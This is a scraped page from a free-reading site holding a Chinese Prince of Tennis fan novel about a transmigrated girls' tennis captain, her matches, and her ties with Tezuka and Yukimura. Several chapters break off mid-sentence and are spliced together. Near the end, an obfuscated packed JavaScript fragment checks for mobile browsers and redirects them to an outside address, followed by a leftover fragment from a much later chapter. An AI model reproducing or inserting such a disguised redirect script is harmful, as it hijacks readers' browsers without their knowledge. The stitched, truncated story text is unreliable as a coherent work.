《装X少女在网王修罗场艰难求生》全本免费阅读 独自走出赛场坐上前往校外练习室的车,二阶堂七海这才仔细观察起自己膝盖处的伤口。 前面比赛时趁着中场休息简单用清水冲了一下表面,现在每走一步就一扎一扎地刺痛,啊,果然没有冲干净,还有一些微小的沙砾嵌在破损的表皮上,回家再用镊子夹一下好了。 不再关心膝盖的伤口,二阶堂七海掏出包里的手机强行开机给正在集训的白石智子打了个电话。 “摩西摩西,智子,我在过来的路上咯。......嗯嗯,当然赢了,所以我们也不能落下......你们这群人,洗干净屁股等着被本部长削吧,哼哼。”啊,没电了。 青学女网部的情况并不乐观。或者说,比男网部还要良莠不齐。 在二阶堂七海进入网球部之前,青学的女网部甚至从未从东京都大赛出线过。 无他,网球王子的世界也和上辈子的世界无甚不同,女子体育运动被认为观赏性远弱于男性,加上难以填平的男女体能差距,女网的关注度和专业度整体都不如男网。 也是因此,青学这样知名度不够的学校,历来大部分学生加入女网部只是把网球当成一项强身健体的休闲运动,求胜心约等于无,对于比赛结果更没有什么目标追求可言。 日本众多院校之中,一直长盛不衰的是立海大附属中学,在近几年脱颖而出的则是冰帝,这两所学校,去年及前年的全国大赛分别是冠军和亚军,季军则每年都发生变化。 对于立海大附属中学的学生而言,无论什么比赛都要争当第一成为最强者的理念扎根在每一个人的心中,所以女网也不例外。 冰帝的女网在这两年异军突起,据说是因为大小姐们为了追随迹部景吾,“不给迹部大人丢脸”,为此迸发出了强大的动力。 由后援会会长带头,从全校中选拔出体能前列的女生加入女子网球部,同时以免费入学的福利吸纳了几名网球技术一流的外校生,在高薪聘请的专业教练的带领下,整体网球实力突飞猛进。 而青学这边,一部分人抱着强身健体足矣的心态加入女网部,另一部分人心中虽有星星之火,但在还没有产生足够的求胜心之前,就给自己泼了盆冷水丧失了斗志。 “既然能预见到结果,又何必努力之后自取其辱,不如从一开始就放平心态。”这样的想法,在七海刚加入网球部时是主流思想。 于是,在观察了一年之后,升入国中二年级时,七海主动竞选并当选了女网部的部长,开始了大刀阔斧的改革。 首先,修改了吸纳新部员的标准,以休闲健身为目的入部依然可行,但另外要选拔出有一定体能基础和网球练习基础的一小批人,这一批部员才是参加比赛的主力军。 其次,提高训练强度。之前的训练强度在七海看来远不够,如果想进入全国大赛,除了早上的部活时间不变,晚上的部活时间也需延长,周末也需抽出至少一半的时间用于训练。 最后,动用钞能力。爸爸妈妈给二阶堂七海的生活费十分可观,她本不需要租住在楼道灯都经常坏掉的老旧公寓楼。 如此节俭只因为省出的钱全用在了购置训练设备和租用训练场地上,毕竟青学拨下来的部活费用可以说是杯水车薪。 三项举措多管齐下之下,二年级结束时,她们总算成功从东京都大赛出线,打入关东大赛。 可惜初赛第一轮就遇上了立海大女网部,除了单打一七海以6:0完胜,单打三白石智子以7:6险胜,其他部员均是惨败。 “为什么要为了青学这么努力呢,七海如果留在神奈川,可以去立海大的,以你的实力,当立海大部长也没什么不行。” 二阶堂七海回想起竞选部长成功那天傍晚,其他部员早已离开教室,只剩她和前任部长水原长奈在部活室里时,二人的对话。 “选择来青学,是为了一个人。” “想当部长什么的,一开始,也只是为了能配得上那个人。”七海面色郝然,有些不好意思地揪了揪额前的碎发。 “后来,看到大家羡慕与不甘的样子,怎么可能没有触动呢。如果明明能做到更好却不去做,难道不会留下遗憾吗。我只是这么想着,就这么去做了而已。” 七海站在窗边,看着远处的夕阳,一片片橙红色的火烧云点染着天空,与深蓝色的天幕交融。 “七海,不,二阶堂部长,如果是你的话,我相信一定可以做到。”水原长奈深深地看了她一眼。 “好了,是时候回家了,明早还要练习。”,她大步走到门口推开部活室的后门—— “手,手冢君?......”水原长奈讶异地喊出了对方的名字,听到这个名字的七海往后门走去,探出头,看到手冢国光靠在部活室前门边的墙上,眼镜的反光遮挡住了他的眼神。 “国光?是不是因为我昨天和你说了今天部活后要竞选部长所以在门外等我呀,我好高兴,走吧,送我回家。”她迈着欢快的步伐向他走去。 ----------------------- “乘客,这位乘客,到了。”思绪又跳进记忆里乱跑,二阶堂七海回神,掏出钱包付了车费。 大概是有些晕车,七海下车时感到脑袋一阵眩晕,扶了扶车把手,这才站定向训练中心走去。 打开训练室大门,“哟,大家都很有干劲嘛!” 封闭的练习室内,部员们正分组进行专项训练,每个人的背上胸前都有大小不一的汗渍,天花板上的白炽灯照射下,七张脸上反射出汗水晶莹的光泽。 “部长~部长大人你的膝盖怎么了!”吉川阳菜扭着屁股就向二阶堂七海冲过来。 “好孩子,我只是摔伤了。”,二阶堂七海170的高挑身形,轻松地接住了仅有156cm高的吉川阳菜的飞扑,狠狠揉了一把吉川阳菜毛绒绒的短发,啊,手感真好。 白石智子投射过去羡慕的眼神,她也想飞扑,美丽又万恶的部长居然嫌我重,真偏心啊,好嫉妒阳菜那家伙。 “吉川阳菜,入队!” “嗨嗨,来了啦。” “葵,汇报一下目前的训练成果。” “是,请各位看大屏幕。” 花大钱当然要上高科技,这家训练室有专业的检测设备,能够通过一系列机器及移动监测自动生成各个学员的五维报告,分别是速度,力道,技术,精神力和耐力。 “首先是第二双打,小泉夏树和小泉夏美。两人的速度和技术均由去年的2.5提升到了3.5,而耐力、力道、精神力的提升则小于1,检测结果仍然是耐力2,力道2,精神力2。” 正选队伍中,第二双打是一对内向的双胞胎。 七海曾尝试分开两个人的训练内容,让她们专精于不同的方面,却诡异地发现,无论设置什么样的训练项目,这两个人最后成长的方向和成长速度依然保持着惊人的一致。 无奈之下,她只能放弃用大石和菊丸那样互补的双打策略,转而钻研出以同调为基准的幻影双打方案。 幻影双打,顾名思义是以极快的速度在球场上迷惑对手的视线,再配合二阶堂七海教授给他们的日月同辉,从而让对手被场上一摸一样的的双人双球迷惑,最终失分。 “第一双打,千叶桃子和吉川阳菜。千叶桃子,前半场选手,速度由去年的......” “单打替补,木下葵......” “第三单打,儿玉遥......” “第二单打,白石智子,速度4,技术4,耐力3,力道4,精神力3。”由二阶堂七海钦点的ace选手,也是她意向的女网部长接班人。 “第一单打,二阶堂七海,速度5,技术5,耐力5,力道5,精神力,呃,未知。” 说是未知,其实是因为二阶堂七海是个精神状态不太稳定的人,时而低气压黑化,时而像熬鹰一般意志极其坚定,极少数时候甚至会表现出脆弱不堪的一面。 “大家的成长我都看到了,下周末就是关东大赛,近段时间不要松懈,也无需过于紧绷,按部就班地练习保持手感即可。” “今年我们抽签抽到的第一场是六角中,大家都根据方案进行了针对性的训练。” “离训练室使用时间结束还有三小时,接下来的三小时,我会与你们进行一对一的陪练,检测大家的成果,没有轮到的部员在边上继续之前未完成的训练。听明白了吗?” “是!” “小泉,你们俩一起上吧。” ...... 三轮之后,二阶堂七海感觉有些不对劲,脚步虚浮不说,握拍的手也总是握不紧,将手背贴在额头上,有些发热。她感到有些不妙,好像发烧了。 “我这边需要先暂停一下。大家继续练习,其余成员的对练明早进行。”不想乱了军心,七海一脸镇定地留下这句话,扭头快步走出训练室,打算先行打车回家吃药休息。 ----------------- “二阶堂桑,又遇到了呢。”二阶堂七海此刻内心的无语快要叠到青学教学楼那么高。 难道是冤家路窄吗,刚走出训练室,就看到走进训练中心的冰帝一行人。 她有气无力地挥了挥手算是打了个招呼,“好巧,你们也来这里训练吗?” “啊恩,这里是我们的固定训练场所。” 听到 6. 第 6 章 《装X少女在网王修罗场艰难求生》全本免费阅读 挂水挂得百无聊赖,二阶堂七海想起来放在网球包里的手机,问护士要了充电器打算充上电玩一会儿俄罗斯方块,拿起来一看,有两条未读短讯,两个未接电话。 【17:30 忍足侑士:二阶堂桑,不用感谢我】 【19:02 手冢国光:七海,你在哪里】 【19:05 未接来电from手冢国光】 【19:25 未接来电from手冢国光】 【19:36 to忍足侑士:虽然很想感谢你,但把我和手冢的事告诉迹部让我现在有些讨厌忍足君。】 【19:40 to手冢国光:在医院,别担心,有些发烧挂了水,现在退烧退得差不多了,明天大概还需要居家静养一天。可以麻烦你帮我和老师请一天假吗】 【19:42 忍足侑士:冤枉啊,手冢的事我可没有说出去,怎么,迹部看出来了】 或许是我今天在赛场表现得太明显了吧,七海轻叹了口气。 【19:44 to忍足侑士:好吧,那我原谅你了】 【19:41 手冢国光:哪家医院?我来接你】七海心中的酸涩再一次翻涌上来。 【19:42 to手冢国光:不用了,我自己回去吧。】这次她将手机放回包里,不再看。 从床上爬起来,她注意到膝盖上的伤也被清理了贴上了纱布,眼看吊瓶里的水快没了,七海按响了护士铃。 “二阶堂小姐,您醒了。” “请问这里是......啊,没事。”不,不需要问了,护士的名牌右下角烫着金井综合病院六个小字。 在护士量完体温拔出针头并告知她费用已付清随时可以离开后,七海拿起手机包包披上带有一丝玫瑰香气的外套走出病房。 这一层似乎是vip病房,没有夜晚的医院应有的喧闹,透过走廊边的玻璃可以看到楼下有一个花园,七海决定去花园吹吹风,回家也是一个人在房间里待着,还不如在医院多呆一会儿。 沿着鹅卵石的小径一路前行,金井综合病院的花园面积不小,植被种类繁多,时不时就能看到三两病人坐在树下的休息区趁着月色闲聊。 她的i人属性又犯了,只想找一个没有人坐的地方静一静,再往深处走去,终于发现一处花丛边无人的长椅。 七海坐在长椅上,轻闭上双眼,感受着微凉的夜风吹拂过自己的耳畔和小腿,听着草丛中不知名昆虫的鸣叫声,心情突然好了起来。 无论如何,生命是美好的,爱情,没有就算了吧,又没有谁规定穿越过来就必须和王子谈恋爱。旋即又j人属性大爆发,梳理起三年级最后几个月的重大事件。 “下周日国光应该就去德国了,送机就不去了吧。接着下周六关东大赛第一轮,然后是关东大赛第二轮和决赛,决赛国光要输给真田吗,能不能让他赢一次啊可恶,改变历史好难...... 8月开始先是两位部长归队,接着男网全国大赛和女网全国大赛,比赛结束之后立海大办海原祭。 最后是青学和冰帝的修学旅行,啊从这里开始应该都和我无关了,暑假修学旅行结束就该回神奈川了,唉......高中去立海大读书吗,好像也只能是立海大了。 完了上次关东大赛狠狠嘴了柳生那家伙几句,到时候要是申请加入立海大的网球部还不知道要怎么被揶揄呢......”七海自顾自地碎碎念着。 “啊。”幸村精市站在小径中间有些惊讶,这个偏僻的角落平时几乎没有人会来,今天却有人坐在他习惯坐的长椅上,嘴里还念叨着立海大,很难不让人好奇。 柳生那家伙,难道指的是比吕士?......加入立海大的网球部......听起来这个女生会打网球。 大致梳理了一通,七海睁开眼,被余光中那个黑影冷不丁吓了一跳,直接从长椅上弹射起立。 “谁,谁在那里吗?”二阶堂七海不怕黑但很怕鬼。 曾经她是不怕的,可在经历了穿越这样离奇的事之后,她对怪力乱神之事的态度发生了360度的转变,从坚定的唯物主义无神论者变成了宁可信其有不可信其无派,尤其是医院,似乎是盛产鬼这种生物的地方...... 早知道不来这么偏僻的角落了,连路灯都没有! 七海边害怕,手上的动作毫不含糊,她飞速拉开网球包的拉链从中取出了自己的拍子和球,还好,还好有防身武器在, “果然关键时刻网球才是我真正的伙伴啊,my达令,打鬼就靠你了......” “抱歉,吓到你了吗。”不远处的黑影逐渐靠近,七海握拍的手更紧了,直到可以借着月光看清楚来人的脸,她才倏忽放下心来。 “幸村精市......”嗯?这样说出对方名字的画面好像刚发生过,七海脑中飞快地闪过这个念头,大脑又开始发散,该说不愧是穿越女定律吗,只要进医院必进金井综合病院,必遇见主上。 说起来,根据计划,她确实是打算来找他的,只不过是在手术结束之后。 她非常笃定眼前这个人是幸村精市。 紫蓝色的微卷秀发垂在两鬓,同色的双眸中盛满了柔和,原本舒展的眉头此时微微皱起,薄唇的血色有些淡,手指很长......帅哥鉴赏完毕。 “啊没没,没事。”二阶堂七海摆摆手,尴尬地笑了笑,发现摆手不知为何有些费力,低头一看才反应过来自己手上还拿着“打鬼用真伙伴”,赶紧将球拍和黄色小球塞回包里,转过身继续讪笑。 “我没见过你,你却知道我的名字呢。”幸村精市温和地注视着她,“那么能告诉我你的名字吗?” “二阶堂七海,青春学园中等部女子网球部部长。”后面那串职位自然地顺嘴秃噜了出来。 “原来是青学的二阶堂桑。抱歉,刚才一不小心偷听了你的话,还害得你吓了一跳。”不愧是主上,好温柔,等等,偷听了我的话...... “呃,那个,幸村君,我可以问你一个问题吗?” “当然。”幸村精市含笑看着眼前神色大惊的少女。 “你偷听到了多少?” “大概全部吧。”幸村精市依然微笑着。 完了完了完了...... “不过听得不太清楚。” 还好还好还好...... “我刚才一直在想,二阶堂桑说的改变历史是什么意思。” 完了啊完了完了,这下彻底完了!不,还能再抢救一下。 “幸村君你应该是听错了吧,我说的其实是改编历史,其实我的日本史成绩一直不太好,但是学校却布置了把历史故事改编成舞台剧的任务给我,还要求在海原祭上表演,所以为此有些烦恼。” 二阶堂七海,承认吧,你就是个天才,这样也能圆回来! 日本史成绩不好是事实,还扯上了后面提到的海原祭听起来应该更有可信度了,为自己的绝佳随机应变能力感到些许得意,七海偷偷翘起嘴角,就算不信又怎么样,反正她会狡辩。 幸村精市似是完全相信了少女的一番解释,柔声回道:“原来是这样,我的日本史成绩还不错,不如我们交换一下联系方式,以后有问题也可以问我。” “好呀。”幸村部长真是个好人。 “说起来,二阶堂桑为什么会在这里呢?” 7. 第 7 章 《装X少女在网王修罗场艰难求生》全本免费阅读 幸村先发制人:“手冢,好久不见了。” “啊,好久不见,幸村。” “手冢怎么会在这里呢?” “手冢就是我说的朋友啦,他是来接我的。”七海抢答道。 幸村精市眼含笑意更甚,“原来如此。手冢,听说你们在关东大赛上半场战胜了冰帝,恭喜。” 手冢脸上没有一丝波澜,冷峻的面色不改,点了点头答道:“谢谢。也祝你手术顺利,希望能在全国大赛上和立海大一战。” 听到全国大赛四个字幸村的表情认真严肃起来,紫蓝色的瞳孔闪烁着战意的光芒,“我也是,很期待。”。 “啊。七海,走吧。”闻言,七海解除了游神天外的状态。别误会,她可不是因为沉湎于眼前两张美颜这种肤浅的原因而走神,而是想到了眼前这两个人颇有些相似的命运: 同样是因为生理上的病痛折磨被迫缺席比赛,同样是好不容易伤愈归来却在某人的安排下打了败仗。 她一直认为,这两个人是日本同级别选手中的最强战力,他们远超出常人的天赋和付出配得上世人赐予他们的称号,但所得到的回报却是败局。 倘若她此时打开的是漫画或是动画,那么她可以告诉自己,这是无可奈何的事。可是现在,她身处于这个世界,亲眼目睹了又怎能不怜惜怎能甘心。 上一辈子,她看到有人曾说,如果穿越到了一个世界却选择当一个平凡的普通人、旁观者,那还不如把穿越的名额让给别人。 因此这一辈子,她一直坚定地认为,自己是带着使命来的,这也是为什么,当初未能阻止网球部的前辈打伤手冢国光的手臂给她造成了极其沉痛的打击,让她至今依然忍不住为了此事痛恨、埋怨自己。 回过神来,二阶堂七海亦步亦趋地跟着手冢国光向停在路边的轿车走去,突然想起什么,转头对还站在门口的幸村精市挥手喊道:“幸村,我会再来看望你的,等你出院了我们一定好好打一场哦!” 她对幸村精市的灭五感这一绝技期待已久,也十分好奇幸村精市需要花多久才能破掉自己的招数,和手冢比如何。 ---------------------- 车上,沉默的氛围弥漫着。 七海感到有些闷热,拉下后座的窗玻璃,任由晚风灌进车内,吹动她披散的乌黑长发,她侧着头平静地望着窗外闪过的灯红酒绿。 “七海......抱歉,下周六我不能去看你们的比赛了。”手冢国光注视着她沉静的侧脸,张口道。时间紧迫,日本飞德国的航班周日已无余票,他只能买了周六的机票。 “怎么最近老是和我说抱歉呢。”七海转回头看向对方,笑容温婉,“没事的,我都知道。你去吧,好好治疗,快去快回。” 根据她的调查,榊教练推荐的德国疗养院拥有世界顶级康复治疗水平的疗养师,因而对于手冢国光去德国治疗手臂的事她乐见其成。 “等你的伤完全好了再回来,到时候我可要拉着你狠狠魔鬼训练一番,免得你忙着做康复训练生疏了球技。” 对于手冢这个天赋级别的选手来说,学校里安排的训练偏向提升基础,实则已经不适配了。 在过去的四年,手冢真正意义上的教练一直是二阶堂七海。 五维中,虽然七海的力道已经从国中开始逐渐与手冢拉平,甚至于现在已经稍弱于手冢,但她的技术实际上早已超越了非职业用训练机器能够检测出来的水平。 而支持起这份技术的是七海过于强悍的洞察力,她能够快速地发现对手的发球规律、弱点与破绽,并制定有针对性的训练方案。 手冢国光曾多次感到疑惑,这个仿佛从天而降的少女为什么愿意如此无私地帮助他,为什么她好像......能够提前知晓将要发生的事。 她的身上有太多秘密,换成旁人意识到这点恐怕只会胆战心惊,但他选择相信她,将这份疑惑放回心底,等待有一天,她愿意主动告诉他。 “啊。”手冢国光从裤兜里掏出来一个御守递给七海,“这是以前母亲为我求来的御守,你收下吧。” “这会不会太珍贵了......”七海怔忪着接过蓝白相间的御守,低头看着御守上刻着的“金运”二字。 “不会。关东大赛加油,我们一起去全国大赛吧。”少年脸上是前所未有的温柔,可惜低着头的她未能瞥见。 七海不再扭捏,将御守挂在了网球包上,回道“嗯,一起去全国大赛!不要大意地上吧!”她想,不能再困于一己私欲中了,是朋友,是战友,是伙伴,这就足够了。 ------------------------- 周一清晨,二阶堂七海准时出现在了女子网球部。开玩笑,还有五天就关东大赛了,去年初赛上半场就直接被痛削的场景还历历在目,这个时候她怎么可能安心待在家里休息。 周二,周三,周四,周五......这五天二阶堂七海无暇顾及其他,给家人发去短讯告诉他们这周末依然回不了家,便复又投身于紧锣密鼓的集训中。 在一个寻常的木曜日,女网关东大赛第一轮初赛开始了。 相比较男网的关东大赛,女网的关注度要低得多,除了冰帝那样应援实力雄厚的学校,其他学校都只来了十数人旁观。不过网球场边依然有着许多长枪大炮架着,正选们早已见怪不怪。 “又是那个什么网球小姐的杂志吧,切。”白石智子从架着长枪大炮的大叔们身边走过,不屑地翻了个白眼。 “打网球就打网球,非要评选什么最美女网选手,这群讨人厌的家伙,根本没把女网当做正规体育运动看待。”千叶桃子握拳,愤愤不平道。 吉川阳菜也跟着附和,“就是,垃圾杂志还评价部长是什么锋芒有余柔美不足,个子太高压迫感太强,结果给她排了个第三名,什么破眼光,在我心里部长大人永远是第一!” “好了,理他们做什么呢,我们打好自己的球就是了。”木下葵身为正选中年纪最小的一年生,却是看起来最沉静成熟的一个,是七海看重的副部长继任者,听到部员成熟理智的发言,七海欣慰地拍了拍葵的肩膀。 一行人步行至比赛场地,开始热身。 “いつも感谢冷静に丁宁に正确に みんなの梦が叶いますように青学, fight on!” “青春学园对六角中学,第二双打,比赛开始!” 对阵青学第二双打的是六角中的肉山姐妹组合,肉山姐妹组顾名思义,两位选手的身形比一般选手高壮了一大圈,在力道和耐力上远强于自家选手。 她们制胜的办法通常是通过网球传递强大的力道给予对手的手腕手肘重压,使得对手在短短几轮之后关节处就胀痛无比,从而失去继续比赛的能力。 小泉夏树和小泉夏美的双打组合与之完全相反,选用的是灵活同调阵型+高速球方针。 打个形象的比方,此时赛场上就像两个女版桦地对上两个女版沉默的菊丸。 二阶堂七海为此专门研发出了几个能够帮助选手卸下对面传来的力道的回击动作,同时,基于扬长大于补短的策略,在赛前将幻影动作训练到了极致。 “青学,15-0” “青学,30-0” ...... “Game青学,3-0” 前三局完全如二阶堂七海所料,对面的肉山姐妹被场上的二人二球迷得晕头转向,毫无招架之力,但三局过去,夏树和夏美的手腕恐怕已经开始有负担了。 “Game六角中,4-1” “Game六角中,4-2” “Game青学,5-2” “Game六角中,5-3” “姐姐!”小泉夏美惊呼。 小泉夏树和小泉夏美是被二阶堂七海硬拉进女子网球部的。 某天,她在训练时发现场地外有两个女生一直偷偷往场地内张望,她便把她们拉进了部活室开始宣传女网部,她这么做不是毫无缘由的,一看到她们的手心,她就凭茧子的位置判断出这两个安静的女生有一定的网球经验,这不正好缺人吗! 七海于是连哄带骗将这两个话极少的娃放进了网球部里。 到后来熟悉了,才从姐姐小泉夏树的口中得知,在国小时她们遭受了严重的校园霸凌,从此两个人便开始用沉默来保护自己,尤其是妹妹小泉夏美,几乎不开口说话,部活时只沉默地听着教导沉默地打着球。 回到赛场,此时,小泉夏树正跪倒在地上,未拿稳的球拍被击飞到了一边。 “姐姐......”小泉夏美捡起球拍忙跑到夏树身边,将她扶起,小泉夏树摇了摇头。 “我没事。夏美,直到遇见部长我才明白,示弱只能被人欺负得更狠。我不会再害怕受伤了,我知道你也是,努力反击吧,无论结果如何。” “嗯,姐姐!” 两道相似的身影动作愈发坚定迅速起来。 ...... “Game end match,六角中胜出,7-5” 对面场地爆发出了一小阵欢呼声,二阶堂七海将双胞胎左手一个右手一个拉回教练席边。 “输了没有关系,你们已经超越了自己平 8. 第 8 章 《装X少女在网王修罗场艰难求生》全本免费阅读 二阶堂七海陷入了噩梦中。 “七海,都是我不好,手冢的手臂......” “我们现在在佐野综合病院。” 猛地推开门,秀一郎和国光正坐在诊疗室的椅子上,对面是拿着X光片的骨科医生,他诧异地看着眼前推开门冲进来的少女,气息紊乱,额前的碎发无序地散乱着。 “很抱歉,手肘关节的伤目前看来有些棘手,网球暂时是打不了了。” “什么叫打不了了呢?到底多久才能好?”二阶堂七海冲上前一把夺走了医生手中的X光片,脸上满是难以置信。 “啊,这个,磨损的关节是无法复原的。所以即使说是康复也只能保证正常生活不受影响。” 七海耳边又出现了锐利的耳鸣声,她喃喃自语:“那全国大赛呢,职业选手呢,都实现不了吗?” “是的,如果不想这只手彻底废掉的话。”医生平静地点了点头,这样无法接受现实的家属他见多了。 “怎么会这样,不可能,这不可能!”七海感到自己的心脏像被重锤狠狠一击,每一次跳动都带着撕裂的疼痛,这种疼痛如此深刻,以至于她失去了站立的力气,直挺挺地跪了下来死死地捂住疼痛的心口。 “我是,我是蝴蝶......难道是因为我才变成这样......” 睁眼时,手冢国光发现自己在梦中。他本已踏上了前往德国的飞机,靠着椅背陷入睡眠,而此刻他睁开眼却发现自己回到了去佐野综合病院复查的那一天,一样的诊疗室,同一位医生,一样的X光片,一样坐在身边的大石。 他极少做梦,更别提以清醒的视角旁观自己的梦。 接着,他就看到了与那一天完全不同的场面,七海冲进诊疗室,医生说他再也打不了网球,再也没有可能实现全国大赛和职业选手的梦想,七海痛苦地跪下说她是蝴蝶...... “七海!”这场梦很短,手冢国光从梦中惊醒,背后出了一层冷汗。 空乘匆匆赶来关切地询问道:“这位乘客请问需要帮忙吗?” “不用了,谢谢。”蝴蝶?蝴蝶......手冢感到一直以来围绕在七海身上的谜团的答案近在咫尺,可还未等他触摸到那细丝末节,空乘的询问又将一切搅散了。 ——--------- 七海睁开眼,发现自己站在病房门口。 这里好熟悉......是了,是金井综合病院的VIP病房走廊,她曾来过这里。 “幸村,时间差不多了。”从病房中出来的是......一群医生和穿着无菌服即将被推入手术室的幸村精市。 “幸村!”身后一帮身着立海大正选制服的少年冲向这边,似乎完全没有看到站在门口的二阶堂七海。 再一次闭眼后睁眼,还是金井综合病院的VIP病房走廊,她,她是在时间回溯吗? 不,不一样。这次的走廊里除了她还有一个人,是穿着和那晚一样的病号服的幸村精市。 “以现在的这个状况,没有办法再打网球了。”从病房里传来医生的讨论声。 “不是有康复训练吗?”一道更加年轻的声音响起。 “不,并不是所有的康复都能让人恢复到生病前的状态。所以即使说是康复也只能保证正常生活不受影响。”这句话她曾听到过,在哪里? 无暇思考,她眼看着门外的幸村无力地摔坐在了地上,“幸村!”她忍不住冲过去想扶起他,安慰的话同时脱口而出: “幸村,不用担心,手术会成功的,经过康复训练你会好起来的,你会再次拿起网球拍的,神之子怎么可能被轻易打倒呢。” “请你一定一定要相信自己,或许也可以相信相信我,我早就为你制定好了康复训练计划,你会尽快好起来的,我......我不会再让你在全国大赛上输掉比赛。” 言毕,她看到自己的手臂从幸村的身体中穿过,所以我是在做梦吗......这个念头浮现脑海的瞬间,眼前的一切化为齑粉。 幸村精市从噩梦中惊醒。 距离手术还有两周。 梦到手术的场景已不是第一次,手术失败,瘫痪,后半生只能躺在病床上,他已经无数次无法控制地在噩梦中惊醒,只是为什么这一次出现了她? 什么叫再在全国大赛上输掉比赛,他从未输过比赛。联系上次听到的改变历史,幸村精市再次意识到一丝不对劲。 ----------------- 二阶堂七海睁开眼,恍如隔世。这里是......是了,她应该在和六角中比赛,刚才打过来的一球是坠梦,刚才她只不过是做了个梦,可是做了什么样的梦,她已经想不起来了。 “那个青学的部长已经站在那里愣了好久诶,比赛还能继续下去吗。”看台上的观众们窃窃私语。 本间奈奈笑道:“看来这次青学无缘全国大赛了呢” “不,她醒来了。”柳生南与柳莲二异口同声。 “不好意思刚才想事情有些出神了,胜利我就不客气地收下了!”回过神来的七海攥了攥手中的球拍,将心口那未知的疼痛与迷茫放在一旁,冲着对面的大崛优彩地回道。 “破镜!”从球拍上高速弹射起来的小球直直地朝着大崛优彩的脸上飞去。 “6-0,青学胜出!” ------------------------ 距离关东大赛第一轮已经过去了一个多星期,理所当然的,第二轮复赛和准决赛也已经结束,倒是决赛,由于天气原因往后推迟了一周。 大石带领的青学的赛绩和上辈子一样,先是在第二轮以3:0打败了绿山,准决赛同样以3:0的好成绩打败了六角,获得了参加关东大赛决赛的资格。 二阶堂七海带领的女网部则赢得更为艰难。 第二轮对上了山吹,3-2险胜, 准决赛更是对上了冰帝,开场第二双打和第一双打均败给了冰帝,还好七海一直以来给部员灌输的都是“打过了的比赛就不应再为失误而懊恼,做好眼下才是重点。”的思想。 第三单打到第二单打,两位部员痛定思痛力挽狂澜,分别以6-4,7-6的成绩竭尽全力拿下了胜利。 第一单打更不必说,虽然七海承认冰帝的女网部部长确实有两把刷子,但是和她比嘛,就有些不够看了,最后以6-1拿下赛点。 除此之外还发生了一些小事。 比如,第一轮初赛之后,出乎二阶堂七海的意料,幸村精市主动联系起了她。 从短讯时不时的简单问候交流,到用一些说好听点是针对性策略,说直白点是示弱之术,使得她主动提出在手术之前多多抽空来金井综合病院看望他,可以说七海吃软不吃硬的性格被狠狠拿捏住了。 这就导致此时此刻,刚结束部活的她赶到了金井综合病院,站在门牌下放着“幸村精市”四个字的VIP病房门口。 “幸村,我进来咯。” 打开门,病房内,幸村精市正盘膝坐在病床上,左手拿着画板,右手拿着一支碳笔,身边围坐着几个同样穿着月白色病号服的孩子,正聚精会神地看着少年手中未完成的画,似乎是一副人像画。 “七海。”少年的笑容一如既往地和煦。 “是漂亮姐姐!” “大姐姐,你为什么总是来看精市哥哥?” “七海姐姐今天有带什么礼物来吗?” “姐姐,我,我想要抱抱。” 见来人是二阶堂七海,孩子们手脚并用地从病床上爬下来呼啦围了过去,抬头望着七海你一言我一语,七嘴八舌地嚷嚷着。 从幸村精市的角度看,这一幕简直和一群嗷嗷待哺的雏鸟围着雌鸟等待投喂没有什么差别,他不自觉地笑出了声。 七海蹲下身,一个个回应。 “谢谢雄太,你今天也很可爱哦。” “因为姐姐和精市哥哥是朋友呀,关心朋友就该来看望一下。” “我可不是圣诞老人,今天没有礼物哦不好意思啦。” “优奈今天有好好吃药吗,有的话姐姐就奖励你转圈抱抱。” 雨露均沾了一圈,七海才抬头站起身,看向笑声的来处。 “幸村,你刚才是不是在嘲笑我。”七海装出一副横眉竖眼生气的模样。 “怎么会呢七海,一定是你的错觉”,幸村精市笑容不变。 七海无奈地勾了勾嘴角,神之子笑容的杀伤力大概是level5,这样的笑容感觉无论做了什么都可以被原谅。她站起身和孩子们一起回到病床边坐下,“幸村今天在画什么呀?” “精市哥哥今天画的是我哦!”扎着两个羊角辫的小女孩起身,两条小短腿岔开站在病床上,叉起腰自豪地说。 “精市哥哥答应给我们每个人都画一副画呢,明天就轮到我了。”坐在幸村精市右手边的光头小男孩脸上写满了迫不及待。 优奈坐在床脚,看着两个洋洋得意的小伙伴,有些羡慕他们可以很快就看到精市哥哥给他们画的画。 “精市哥哥,后天,后天可不可以先给优奈画呢.....”优奈的小脸皱成了一团。 “妈妈说大后天我就要做手术了,如果失败的话就会去另一个地方。可是如果我去了另一个地方,不就没法看到精市哥哥给我的画了吗。” 空气仿佛一瞬间凝滞了。 优奈与她的小伙伴们浑然未觉气氛的变化,还在叽叽喳喳地聊着后天该轮到画谁。可房间里的两个“大人”不约而同地沉默了。 七海喉咙有些哽咽,抬头,她看到幸村精市脸上的哀伤。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884875|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系方式吧。”她的邀请意味深长。 “可以啊,神様。”越前龙雅十分自然地应答,以后......他或许用得上她。 两人交换了电话号码,七海惊异地发现越前龙雅这个人居然不使用任何社交软件,怎么说呢,还挺符合他在那个故事里的表现的,肆意张扬,随心所欲,难以捉摸。 而这样的人居然愿意加入一个队伍去打比赛,大概还是为了越前龙马吧。 “你们在这里干什么?”想曹操,曹操到。 “哟,小不点!” “孩子,又见面了呢。” “这是当然的吧,这里是美国职网协会。”越前龙马无情吐槽幸村精市。 七海震惊,越前龙雅一见到他弟弟和川剧变脸似的,立刻换上了一张相当亲切热情洋溢的脸,昨晚的他看起来活脱脱一位大反派。 果然,越前龙雅真的很疼爱越前,就和那个故事里一样,她能看得出,他眼中流露出来的感情并不是虚假的。 这样的人,为什么会黑化,又为什么要打出那样的网球呢?美国队的人没有被剥夺技能的,这也证明了,越前龙雅并不想对他们出手,这么看,他似乎也不像坏人。 谜团太多,暂且放在一边。 “越前,现在这个时间你不用训练吗?”在德国和瑞士的职业网球协会拜访了几天,她习惯了每天看着选手们疯狂训练。 越前龙马:“我们每天都是自由活动的。” 七海忍不住抽搐了一下嘴角,“原来是这样。”该说不愧是自由的国度吗,难怪进不了第一梯队,这也实在太自由了吧! “所以,二阶堂学姐,你们三个人怎么聚在一起了。”越前龙马的视线在三人之间转了一圈,学姐和立海大的部长也就罢了,他怎么也在。 